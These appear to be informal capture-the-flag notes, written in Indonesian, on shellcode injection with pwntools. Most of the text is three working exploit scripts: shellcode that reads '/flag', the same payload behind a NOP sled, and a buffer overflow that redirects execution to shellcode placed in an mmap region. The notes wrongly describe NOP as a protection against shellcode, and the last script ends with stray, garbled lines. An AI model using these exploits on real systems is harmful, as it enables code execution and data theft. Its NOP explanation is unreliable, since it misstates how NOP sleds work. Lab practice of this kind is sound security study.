Introduction to Shellcode Injection With Shellcraft

Deskripsi

Notes aja sih, shellcode buat cat /flag sama nopsleds

Shellcode Cat /Flag

Use Shellcraft Pwntools

Langsung aja ya pake pwntools.

from pwn import *
context.binary = ELF('/chall')
p = process()
sc = asm(shellcraft.cat('/flag'))
p.send(sc)
p.interactive()

Shellcode NOP Sleds

NOP itu adalah protection buat nyegah program ngejalanin shellcode, cara kerjanya dia nyegah input di-execute di beberapa byte tertentu, tapi kalau NOPnya ga sampe ke seluruh input shellcode, maka NOP dapat dibypass dengan NOPSleds, pake aja fitur dari pwntools udah ada kok bawaannya, tinggal disesuaiin sama jumlah nopnya, habis nop isikan sama shellcode.

Use Shellcraft Pwntools

Sama aja, cm sebelum shellcodenya, dikasih nopsled

from pwn import *
context.binary = ELF('/chall')

p = process()
sc = asm(shellcraft.nop()) * 0x800
sc += asm(shellcraft.cat('/flag'))
p.send(sc)
p.interactive()

Hijack To MMap Shellcode

Nah kalau ini, sistemnya kayak shellcode biasa, cm buat ngeproses biar shellcodenya bisa dijalanin sama program, kita perlu trigger ret2win ke address awal shellcodenya, yaitu yang ada di mmap. Penjelasan lebih lanjutnya besok lah ya ngantuk bgt aseli udah jam 3 pagi.

shellcode = mmap((void *)0x17D44000, 0x1000uLL, 7, 34, 0, 0LL);

Use Pwntools Shellcraft

from pwn import *

context.binary = ELF('/chall')
p = process()

sc = asm(shellcraft.cat('/flag'))
payload = b"A" * (0x20 + 8) + p64(0x17D44000)
p.send(sc)
p.sendline()
p.send(payload)
p.interactive()
p.recvall().decode()
0%